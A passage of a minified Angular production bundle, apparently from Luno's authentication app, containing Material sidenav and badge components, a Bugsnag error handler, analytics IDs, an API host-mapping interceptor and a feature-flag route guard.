new(e||t)(d.LFG(p.q),d.LFG(o.E),d.LFG(u.K),d.LFG(a.O),d.LFG(f.Ye),d.LFG(c.o),d.LFG(m.X))},t.\u0275prov=d.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},92932:function(t,e,n){"use strict";n.d(e,{N:function(){return i}});const i={production:!0,webAssetsURL:"https://d32exi8v9av3ux.cloudfront.net/auth-app/2022/01/17/26465d",appVersion:"auth-app/2022/01/17/26465d",bugsnagApiKey:"3cc67afdb6dd450441bc9023b5262f26"}},45720:function(t,e,n){"use strict";var i=n(71570),s=n(2316),r=n(54364),o=n(53882),a=n(6721),c=n.n(a),l=n(64062),u=n.n(l),h=n(68753),d=n.n(h),p=n(35589),f=n.n(p),m=n(68456),g=n(71918),_=n(32118),v=n.n(_);let b=class extends s.qLn{constructor(t){super(),this.bugsnagClient=t||v()._client}handleError(t){const e=this.bugsnagClient.Event.create(t,!0,{severity:"error",severityReason:{type:"unhandledException"},unhandled:!0},"angular error handler",1);t.ngDebugContext&&e.addMetadata("angular",{component:t.ngDebugContext.component,context:t.ngDebugContext.context}),this.bugsnagClient._notify(e),s.qLn.prototype.handleError.call(this,t)}};b.\u0275fac=function(t){return new(t||b)(s.LFG(_.Client))},b.\u0275prov=s.Yz7({token:b,factory:function(t){return b.\u0275fac(t)}}),b=function(t,e,n,i){var s,r=arguments.length,o=r<3?e:null===i?i=Object.getOwnPropertyDescriptor(e,n):i;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(t,e,n,i);else for(var a=t.length-1;a>=0;a--)(s=t[a])&&(o=(r<3?s(o):r>3?s(e,n,o):s(e,n))||o);return r>3&&o&&Object.defineProperty(e,n,o),o}([function(t,e){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata("design:paramtypes",e)}(0,[_.Client])],b);var y=n(67456),w=n(42118),x=n(74058),C=n(24298),S=n(22213),E=n(52529);let k=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,S.Is,y.h,w.QW,x.p9,E.Ps,C.si]]}),t})(),T=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,y.h,k]]}),t})();var A=n(36145),I=n(22102),O=n(20657),R=n(90084),P=n(79441),N=n(82516),D=n(89919),L=n(9170),M=n(33927),F=n(71003);function U(t){return e=>e.lift(new B(t))}class B{constructor(t){this.value=t}call(t,e){return e.subscribe(new j(t,this.value))}}class j extends F.L{constructor(t,e){super(t),this.value=e}_next(t){this.destination.next(this.value)}}var H=n(22663),V=n(83720),G=n(53466),Y=n(1143),q=n(80639),$=n(97175),z=n(51606),Z=n(772);const W=["*"];function J(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){return s.CHM(t),s.oxw()._onBackdropClicked()}),s.qZA()}if(2&t){const t=s.oxw();s.ekj("mat-drawer-shown",t._isShowingBackdrop())}}function Q(t,e){1&t&&(s.TgZ(0,"mat-drawer-content"),s.Hsn(1,2),s.qZA())}const K=[[["mat-drawer"]],[["mat-drawer-content"]],"*"],X=["mat-drawer","mat-drawer-content","*"];function tt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){return s.CHM(t),s.oxw()._onBackdropClicked()}),s.qZA()}if(2&t){const t=s.oxw();s.ekj("mat-drawer-shown",t._isShowingBackdrop())}}function et(t,e){1&t&&(s.TgZ(0,"mat-sidenav-content",3),s.Hsn(1,2),s.qZA())}const nt=[[["mat-sidenav"]],[["mat-sidenav-content"]],"*"],it=["mat-sidenav","mat-sidenav-content","*"],st=".mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\n",rt={transformDrawer:(0,$.X$)("transform",[(0,$.SB)("open, open-instant",(0,$.oB)({transform:"none",visibility:"visible"})),(0,$.SB)("void",(0,$.oB)({"box-shadow":"none",visibility:"hidden"})),(0,$.eR)("void => open-instant",(0,$.jt)("0ms")),(0,$.eR)("void <=> open, open-instant => void",(0,$.jt)("400ms cubic-bezier(0.25, 0.8, 0.25, 1)"))])},ot=new s.OlP("MAT_DRAWER_DEFAULT_AUTOSIZE",{providedIn:"root",factory:function(){return!1}}),at=new s.OlP("MAT_DRAWER_CONTAINER");let ct=(()=>{class t extends I.PQ{constructor(t,e,n,i,s){super(n,i,s),this._changeDetectorRef=t,this._container=e}ngAfterContentInit(){this._container._contentMarginChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>ut)),s.Y36(s.SBq),s.Y36(I.mF),s.Y36(s.R0b))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-drawer-content"]],hostAttrs:[1,"mat-drawer-content"],hostVars:4,hostBindings:function(t,e){2&t&&s.Udp("margin-left",e._container._contentMargins.left,"px")("margin-right",e._container._contentMargins.right,"px")},features:[s.qOj],ngContentSelectors:W,decls:1,vars:0,template:function(t,e){1&t&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),t})(),lt=(()=>{class t{constructor(t,e,n,i,r,o,a){this._elementRef=t,this._focusTrapFactory=e,this._focusMonitor=n,this._platform=i,this._ngZone=r,this._doc=o,this._container=a,this._elementFocusedBeforeDrawerWasOpened=null,this._enableAnimations=!1,this._position="start",this._mode="over",this._disableClose=!1,this._opened=!1,this._animationStarted=new P.xQ,this._animationEnd=new P.xQ,this._animationState="void",this.openedChange=new s.vpe(!0),this._openedStream=this.openedChange.pipe((0,L.h)(t=>t),(0,M.U)(()=>{})),this.openedStart=this._animationStarted.pipe((0,L.h)(t=>t.fromState!==t.toState&&0===t.toState.indexOf("open")),U(void 0)),this._closedStream=this.openedChange.pipe((0,L.h)(t=>!t),(0,M.U)(()=>{})),this.closedStart=this._animationStarted.pipe((0,L.h)(t=>t.fromState!==t.toState&&"void"===t.toState),U(void 0)),this._destroyed=new P.xQ,this.onPositionChanged=new s.vpe,this._modeChanged=new P.xQ,this.openedChange.subscribe(t=>{t?(this._doc&&(this._elementFocusedBeforeDrawerWasOpened=this._doc.activeElement),this._takeFocus()):this._isFocusWithinDrawer()&&this._restoreFocus()}),this._ngZone.runOutsideAngular(()=>{(0,N.R)(this._elementRef.nativeElement,"keydown").pipe((0,L.h)(t=>t.keyCode===R.hY&&!this.disableClose&&!(0,R.Vb)(t)),(0,H.R)(this._destroyed)).subscribe(t=>this._ngZone.run(()=>{this.close(),t.stopPropagation(),t.preventDefault()}))}),this._animationEnd.pipe((0,V.x)((t,e)=>t.fromState===e.fromState&&t.toState===e.toState)).subscribe(t=>{const{fromState:e,toState:n}=t;(0===n.indexOf("open")&&"void"===e||"void"===n&&0===e.indexOf("open"))&&this.openedChange.emit(this._opened)})}get position(){return this._position}set position(t){(t="end"===t?"end":"start")!=this._position&&(this._position=t,this.onPositionChanged.emit())}get mode(){return this._mode}set mode(t){this._mode=t,this._updateFocusTrapState(),this._modeChanged.next()}get disableClose(){return this._disableClose}set disableClose(t){this._disableClose=(0,O.Ig)(t)}get autoFocus(){const t=this._autoFocus;return null==t?"side"!==this.mode:t}set autoFocus(t){this._autoFocus=(0,O.Ig)(t)}get opened(){return this._opened}set opened(t){this.toggle((0,O.Ig)(t))}_takeFocus(){!this.autoFocus||!this._focusTrap||this._focusTrap.focusInitialElementWhenReady().then(t=>{!t&&"function"==typeof this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()})}_restoreFocus(){!this.autoFocus||(this._elementFocusedBeforeDrawerWasOpened?this._focusMonitor.focusVia(this._elementFocusedBeforeDrawerWasOpened,this._openedVia):this._elementRef.nativeElement.blur(),this._elementFocusedBeforeDrawerWasOpened=null,this._openedVia=null)}_isFocusWithinDrawer(){var t;const e=null===(t=this._doc)||void 0===t?void 0:t.activeElement;return!!e&&this._elementRef.nativeElement.contains(e)}ngAfterContentInit(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._updateFocusTrapState()}ngAfterContentChecked(){this._platform.isBrowser&&(this._enableAnimations=!0)}ngOnDestroy(){this._focusTrap&&this._focusTrap.destroy(),this._animationStarted.complete(),this._animationEnd.complete(),this._modeChanged.complete(),this._destroyed.next(),this._destroyed.complete()}open(t){return this.toggle(!0,t)}close(){return this.toggle(!1)}_closeViaBackdropClick(){return this._setOpen(!1,!0)}toggle(t=!this.opened,e){return this._setOpen(t,!t&&this._isFocusWithinDrawer(),e)}_setOpen(t,e,n="program"){return this._opened=t,t?(this._animationState=this._enableAnimations?"open":"open-instant",this._openedVia=n):(this._animationState="void",e&&this._restoreFocus()),this._updateFocusTrapState(),new Promise(t=>{this.openedChange.pipe((0,G.q)(1)).subscribe(e=>t(e?"open":"close"))})}_getWidth(){return this._elementRef.nativeElement&&this._elementRef.nativeElement.offsetWidth||0}_updateFocusTrapState(){this._focusTrap&&(this._focusTrap.enabled=this.opened&&"side"!==this.mode)}_animationStartListener(t){this._animationStarted.next(t)}_animationDoneListener(t){this._animationEnd.next(t)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(z.qV),s.Y36(z.tE),s.Y36(A.t4),s.Y36(s.R0b),s.Y36(r.K0,8),s.Y36(at,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-drawer"]],hostAttrs:["tabIndex","-1",1,"mat-drawer"],hostVars:12,hostBindings:function(t,e){1&t&&s.WFA("@transform.start",function(t){return e._animationStartListener(t)})("@transform.done",function(t){return e._animationDoneListener(t)}),2&t&&(s.uIk("align",null),s.d8E("@transform",e._animationState),s.ekj("mat-drawer-end","end"===e.position)("mat-drawer-over","over"===e.mode)("mat-drawer-push","push"===e.mode)("mat-drawer-side","side"===e.mode)("mat-drawer-opened",e.opened))},inputs:{position:"position",mode:"mode",disableClose:"disableClose",autoFocus:"autoFocus",opened:"opened"},outputs:{openedChange:"openedChange",_openedStream:"opened",openedStart:"openedStart",_closedStream:"closed",closedStart:"closedStart",onPositionChanged:"positionChanged"},exportAs:["matDrawer"],ngContentSelectors:W,decls:2,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"div",0),s.Hsn(1),s.qZA())},directives:[I.PQ],encapsulation:2,data:{animation:[rt.transformDrawer]},changeDetection:0}),t})(),ut=(()=>{class t{constructor(t,e,n,i,r,o=!1,a){this._dir=t,this._element=e,this._ngZone=n,this._changeDetectorRef=i,this._animationMode=a,this._drawers=new s.n_E,this.backdropClick=new s.vpe,this._destroyed=new P.xQ,this._doCheckSubject=new P.xQ,this._contentMargins={left:null,right:null},this._contentMarginChanges=new P.xQ,t&&t.change.pipe((0,H.R)(this._destroyed)).subscribe(()=>{this._validateDrawers(),this.updateContentMargins()}),r.change().pipe((0,H.R)(this._destroyed)).subscribe(()=>this.updateContentMargins()),this._autosize=o}get start(){return this._start}get end(){return this._end}get autosize(){return this._autosize}set autosize(t){this._autosize=(0,O.Ig)(t)}get hasBackdrop(){return null==this._backdropOverride?!this._start||"side"!==this._start.mode||!this._end||"side"!==this._end.mode:this._backdropOverride}set hasBackdrop(t){this._backdropOverride=null==t?null:(0,O.Ig)(t)}get scrollable(){return this._userContent||this._content}ngAfterContentInit(){this._allDrawers.changes.pipe((0,Y.O)(this._allDrawers),(0,H.R)(this._destroyed)).subscribe(t=>{this._drawers.reset(t.filter(t=>!t._container||t._container===this)),this._drawers.notifyOnChanges()}),this._drawers.changes.pipe((0,Y.O)(null)).subscribe(()=>{this._validateDrawers(),this._drawers.forEach(t=>{this._watchDrawerToggle(t),this._watchDrawerPosition(t),this._watchDrawerMode(t)}),(!this._drawers.length||this._isDrawerOpen(this._start)||this._isDrawerOpen(this._end))&&this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),this._ngZone.runOutsideAngular(()=>{this._doCheckSubject.pipe((0,q.b)(10),(0,H.R)(this._destroyed)).subscribe(()=>this.updateContentMargins())})}ngOnDestroy(){this._contentMarginChanges.complete(),this._doCheckSubject.complete(),this._drawers.destroy(),this._destroyed.next(),this._destroyed.complete()}open(){this._drawers.forEach(t=>t.open())}close(){this._drawers.forEach(t=>t.close())}updateContentMargins(){let t=0,e=0;if(this._left&&this._left.opened)if("side"==this._left.mode)t+=this._left._getWidth();else if("push"==this._left.mode){const n=this._left._getWidth();t+=n,e-=n}if(this._right&&this._right.opened)if("side"==this._right.mode)e+=this._right._getWidth();else if("push"==this._right.mode){const n=this._right._getWidth();e+=n,t-=n}t=t||null,e=e||null,(t!==this._contentMargins.left||e!==this._contentMargins.right)&&(this._contentMargins={left:t,right:e},this._ngZone.run(()=>this._contentMarginChanges.next(this._contentMargins)))}ngDoCheck(){this._autosize&&this._isPushed()&&this._ngZone.runOutsideAngular(()=>this._doCheckSubject.next())}_watchDrawerToggle(t){t._animationStarted.pipe((0,L.h)(t=>t.fromState!==t.toState),(0,H.R)(this._drawers.changes)).subscribe(t=>{"open-instant"!==t.toState&&"NoopAnimations"!==this._animationMode&&this._element.nativeElement.classList.add("mat-drawer-transition"),this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),"side"!==t.mode&&t.openedChange.pipe((0,H.R)(this._drawers.changes)).subscribe(()=>this._setContainerClass(t.opened))}_watchDrawerPosition(t){!t||t.onPositionChanged.pipe((0,H.R)(this._drawers.changes)).subscribe(()=>{this._ngZone.onMicrotaskEmpty.pipe((0,G.q)(1)).subscribe(()=>{this._validateDrawers()})})}_watchDrawerMode(t){t&&t._modeChanged.pipe((0,H.R)((0,D.T)(this._drawers.changes,this._destroyed))).subscribe(()=>{this.updateContentMargins(),this._changeDetectorRef.markForCheck()})}_setContainerClass(t){const e=this._element.nativeElement.classList,n="mat-drawer-container-has-open";t?e.add(n):e.remove(n)}_validateDrawers(){this._start=this._end=null,this._drawers.forEach(t=>{"end"==t.position?this._end=t:this._start=t}),this._right=this._left=null,this._dir&&"rtl"===this._dir.value?(this._left=this._end,this._right=this._start):(this._left=this._start,this._right=this._end)}_isPushed(){return this._isDrawerOpen(this._start)&&"over"!=this._start.mode||this._isDrawerOpen(this._end)&&"over"!=this._end.mode}_onBackdropClicked(){this.backdropClick.emit(),this._closeModalDrawersViaBackdrop()}_closeModalDrawersViaBackdrop(){[this._start,this._end].filter(t=>t&&!t.disableClose&&this._canHaveBackdrop(t)).forEach(t=>t._closeViaBackdropClick())}_isShowingBackdrop(){return this._isDrawerOpen(this._start)&&this._canHaveBackdrop(this._start)||this._isDrawerOpen(this._end)&&this._canHaveBackdrop(this._end)}_canHaveBackdrop(t){return"side"!==t.mode||!!this._backdropOverride}_isDrawerOpen(t){return null!=t&&t.opened}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(Z.Is,8),s.Y36(s.SBq),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(I.rL),s.Y36(ot),s.Y36(g.Qb,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-drawer-container"]],contentQueries:function(t,e,n){if(1&t&&(s.Suo(n,ct,5),s.Suo(n,lt,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._content=t.first),s.iGM(t=s.CRH())&&(e._allDrawers=t)}},viewQuery:function(t,e){if(1&t&&s.Gf(ct,5),2&t){let t;s.iGM(t=s.CRH())&&(e._userContent=t.first)}},hostAttrs:[1,"mat-drawer-container"],hostVars:2,hostBindings:function(t,e){2&t&&s.ekj("mat-drawer-container-explicit-backdrop",e._backdropOverride)},inputs:{autosize:"autosize",hasBackdrop:"hasBackdrop"},outputs:{backdropClick:"backdropClick"},exportAs:["matDrawerContainer"],features:[s._Bn([{provide:at,useExisting:t}])],ngContentSelectors:X,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(t,e){1&t&&(s.F$t(K),s.YNc(0,J,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,Q,2,0,"mat-drawer-content",1)),2&t&&(s.Q6J("ngIf",e.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!e._content))},directives:[r.O5,ct],styles:[st],encapsulation:2,changeDetection:0}),t})(),ht=(()=>{class t extends ct{constructor(t,e,n,i,s){super(t,e,n,i,s)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>pt)),s.Y36(s.SBq),s.Y36(I.mF),s.Y36(s.R0b))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-sidenav-content"]],hostAttrs:[1,"mat-drawer-content","mat-sidenav-content"],hostVars:4,hostBindings:function(t,e){2&t&&s.Udp("margin-left",e._container._contentMargins.left,"px")("margin-right",e._container._contentMargins.right,"px")},features:[s.qOj],ngContentSelectors:W,decls:1,vars:0,template:function(t,e){1&t&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),t})(),dt=(()=>{class t extends lt{constructor(){super(...arguments),this._fixedInViewport=!1,this._fixedTopGap=0,this._fixedBottomGap=0}get fixedInViewport(){return this._fixedInViewport}set fixedInViewport(t){this._fixedInViewport=(0,O.Ig)(t)}get fixedTopGap(){return this._fixedTopGap}set fixedTopGap(t){this._fixedTopGap=(0,O.su)(t)}get fixedBottomGap(){return this._fixedBottomGap}set fixedBottomGap(t){this._fixedBottomGap=(0,O.su)(t)}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=s.n5z(t)))(n||t)}}(),t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-sidenav"]],hostAttrs:["tabIndex","-1",1,"mat-drawer","mat-sidenav"],hostVars:17,hostBindings:function(t,e){2&t&&(s.uIk("align",null),s.Udp("top",e.fixedInViewport?e.fixedTopGap:null,"px")("bottom",e.fixedInViewport?e.fixedBottomGap:null,"px"),s.ekj("mat-drawer-end","end"===e.position)("mat-drawer-over","over"===e.mode)("mat-drawer-push","push"===e.mode)("mat-drawer-side","side"===e.mode)("mat-drawer-opened",e.opened)("mat-sidenav-fixed",e.fixedInViewport))},inputs:{fixedInViewport:"fixedInViewport",fixedTopGap:"fixedTopGap",fixedBottomGap:"fixedBottomGap"},exportAs:["matSidenav"],features:[s.qOj],ngContentSelectors:W,decls:2,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"div",0),s.Hsn(1),s.qZA())},directives:[I.PQ],encapsulation:2,data:{animation:[rt.transformDrawer]},changeDetection:0}),t})(),pt=(()=>{class t extends ut{}return t.\u0275fac=function(){let e;return function(n){return(e||(e=s.n5z(t)))(n||t)}}(),t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-sidenav-container"]],contentQueries:function(t,e,n){if(1&t&&(s.Suo(n,ht,5),s.Suo(n,dt,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._content=t.first),s.iGM(t=s.CRH())&&(e._allDrawers=t)}},hostAttrs:[1,"mat-drawer-container","mat-sidenav-container"],hostVars:2,hostBindings:function(t,e){2&t&&s.ekj("mat-drawer-container-explicit-backdrop",e._backdropOverride)},exportAs:["matSidenavContainer"],features:[s._Bn([{provide:at,useExisting:t}]),s.qOj],ngContentSelectors:it,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],["cdkScrollable","",4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"],["cdkScrollable",""]],template:function(t,e){1&t&&(s.F$t(nt),s.YNc(0,tt,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,et,2,0,"mat-sidenav-content",1)),2&t&&(s.Q6J("ngIf",e.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!e._content))},directives:[r.O5,ht,I.PQ],styles:[st],encapsulation:2,changeDetection:0}),t})(),ft=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,C.BQ,A.ud,I.ZD],I.ZD,C.BQ]}),t})();var mt=n(47532);let gt=0;const _t=(0,C.Id)(class{});let vt=(()=>{class t extends _t{constructor(t,e,n,i,s){super(),this._ngZone=t,this._elementRef=e,this._ariaDescriber=n,this._renderer=i,this._animationMode=s,this._hasContent=!1,this._color="primary",this._overlap=!0,this.position="above after",this.size="medium",this._id=gt++}get color(){return this._color}set color(t){this._setColor(t),this._color=t}get overlap(){return this._overlap}set overlap(t){this._overlap=(0,O.Ig)(t)}get description(){return this._description}set description(t){if(t!==this._description){const e=this._badgeElement;this._updateHostAriaDescription(t,this._description),this._description=t,e&&(t?e.setAttribute("aria-label",t):e.removeAttribute("aria-label"))}}get hidden(){return this._hidden}set hidden(t){this._hidden=(0,O.Ig)(t)}isAbove(){return-1===this.position.indexOf("below")}isAfter(){return-1===this.position.indexOf("before")}ngOnChanges(t){const e=t.content;if(e){const t=e.currentValue;this._hasContent=null!=t&&`${t}`.trim().length>0,this._updateTextContent()}}ngOnDestroy(){const t=this._badgeElement;t&&(this.description&&this._ariaDescriber.removeDescription(t,this.description),this._renderer.destroyNode&&this._renderer.destroyNode(t))}getBadgeElement(){return this._badgeElement}_updateTextContent(){return this._badgeElement?this._badgeElement.textContent=this._stringifyContent():this._badgeElement=this._createBadgeElement(),this._badgeElement}_createBadgeElement(){const t=this._renderer.createElement("span"),e="mat-badge-active",n="mat-badge-content";return this._clearExistingBadges(n),t.setAttribute("id",`mat-badge-content-${this._id}`),t.classList.add(n),t.textContent=this._stringifyContent(),"NoopAnimations"===this._animationMode&&t.classList.add("_mat-animation-noopable"),this.description&&t.setAttribute("aria-label",this.description),this._elementRef.nativeElement.appendChild(t),"function"==typeof requestAnimationFrame&&"NoopAnimations"!==this._animationMode?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{t.classList.add(e)})}):t.classList.add(e),t}_updateHostAriaDescription(t,e){const n=this._updateTextContent();e&&this._ariaDescriber.removeDescription(n,e),t&&this._ariaDescriber.describe(n,t)}_setColor(t){if(t!==this._color){const e=this._elementRef.nativeElement.classList;this._color&&e.remove(`mat-badge-${this._color}`),t&&e.add(`mat-badge-${t}`)}}_clearExistingBadges(t){const e=this._elementRef.nativeElement;let n=e.children.length;for(;n--;){const i=e.children[n];i.classList.contains(t)&&e.removeChild(i)}}_stringifyContent(){const t=this.content;return null==t?"":`${t}`}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.R0b),s.Y36(s.SBq),s.Y36(z.$s),s.Y36(s.Qsj),s.Y36(g.Qb,8))},t.\u0275dir=s.lG2({type:t,selectors:[["","matBadge",""]],hostAttrs:[1,"mat-badge"],hostVars:20,hostBindings:function(t,e){2&t&&s.ekj("mat-badge-overlap",e.overlap)("mat-badge-above",e.isAbove())("mat-badge-below",!e.isAbove())("mat-badge-before",!e.isAfter())("mat-badge-after",e.isAfter())("mat-badge-small","small"===e.size)("mat-badge-medium","medium"===e.size)("mat-badge-large","large"===e.size)("mat-badge-hidden",e.hidden||!e._hasContent)("mat-badge-disabled",e.disabled)},inputs:{disabled:["matBadgeDisabled","disabled"],position:["matBadgePosition","position"],size:["matBadgeSize","size"],color:["matBadgeColor","color"],overlap:["matBadgeOverlap","overlap"],description:["matBadgeDescription","description"],hidden:["matBadgeHidden","hidden"],content:["matBadge","content"]},features:[s.qOj,s.TTD]}),t})(),bt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[z.rt,C.BQ],C.BQ]}),t})(),yt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,bt]]}),t})();var wt=n(70781),xt=n(11378);let Ct=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,C.si,xt.N,E.Ps,wt.ot]]}),t})(),St=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,xt.N,E.Ps,y.h,Ct,C.si,mt.Bz,yt]]}),t})();var Et=n(10384);let kt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[yt,y.h,r.ez,Ct,xt.N,E.Ps,C.si,mt.Bz,Et.Y]]}),t})(),Tt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.ez,ft,kt,St]]}),t})();var At=(()=>{return(t=At||(At={})).GeneralGtagId="G-RPBN9JG6XG",t.GeneralUniversalId="UA-39013173-1",t.ExpressGtagId="G-3BQF1G8ENL",At;var t})(),It=n(46436),Ot=n(18742);let Rt=(()=>{class t{constructor(t){this.windowRef=t,this.hostMap={"new.staging.luno.com":"https://ajax.staging.luno.com","staging.luno.com":"https://ajax.staging.luno.com","app.staging.luno.com":"https://ajax.staging.luno.com","trade.staging.luno.com":"https://ajax.staging.luno.com","new-www.luno.com":"https://ajax.luno.com","www.luno.com":"https://ajax.luno.com","app.luno.com":"https://ajax.luno.com","trade.luno.com":"https://ajax.luno.com"},this.ajaxRegex=new RegExp(/^\/ajax/)}intercept(t,e){const n=this.windowRef.nativeWindow.location.host;if(n in this.hostMap&&this.ajaxRegex.test(t.url)){const i=t.clone({url:this.hostMap[n]+t.url,withCredentials:!0});return e.handle(i)}return e.handle(t)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Ot.X))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var Pt=n(58193),Nt=(()=>{return(t=Nt||(Nt={})).local="127.0.0.1:9000",t.Staging="staging.luno.com",t.Production="www.luno.com",Nt;var t})();function Dt(t){return t.appVersion}var Lt=n(58625),Mt=n(70227),Ft=n(80722),Ut=n(50501),Bt=n(98045),jt=n(30706),Ht=n(62901),Vt=n(92932);let Gt=(()=>{class t{constructor(t,e){this.feature=t,this.router=e}canActivate(t){var e,n;if(!(null===(n=null===(e=null==t?void 0:t.data)||void 0===e?void 0:e.flags)||void 0===n?void 0:n.length))return this.router.navigateByUrl(""),!1;const i=Object.assign({},t.data);return!(!this.shouldRouteActivateForFlags(i)&&(i.navigateWithFullUrl?(window.location.href=i.fallbackRoute||"",1):(i.fallbackRoute&&t.params&&Object.keys(t.params).forEach(e=>{var n;(null===(n=i.fallbackRoute)||void 0===n?void 0:n.includes(e))&&(i.fallbackRoute=i.fallbackRoute.replace(`:${e}`,t.params[e]))}),i.preserveQueryParamsOnFallback&&t.queryParams?(this.router.navigate(i.fallbackRoute?[i.fallbackRoute]:[""],{queryParams:Object.assign({},t.queryParams)}),1):(this.router.navigateByUrl(i.fallbackRoute?i.fallbackRoute:""),1))))}shouldRouteActivateForFlags(t){const e=t.flags.some(t=>!this.feature.isEnabled(t)),n=t.flags.some(t=>this.feature.isEnabled(t));if(t.canActivateOnPartialFlags){if(t.activateOnDisabledFlags)return e;if(!t.activateOnDisabledFlags)return n}return t.activateOnDisabledFlags?e&&!n:!t.activateOnDisabledFlags&&!e&&n}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Bt.a),s.LFG(mt.F0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();const 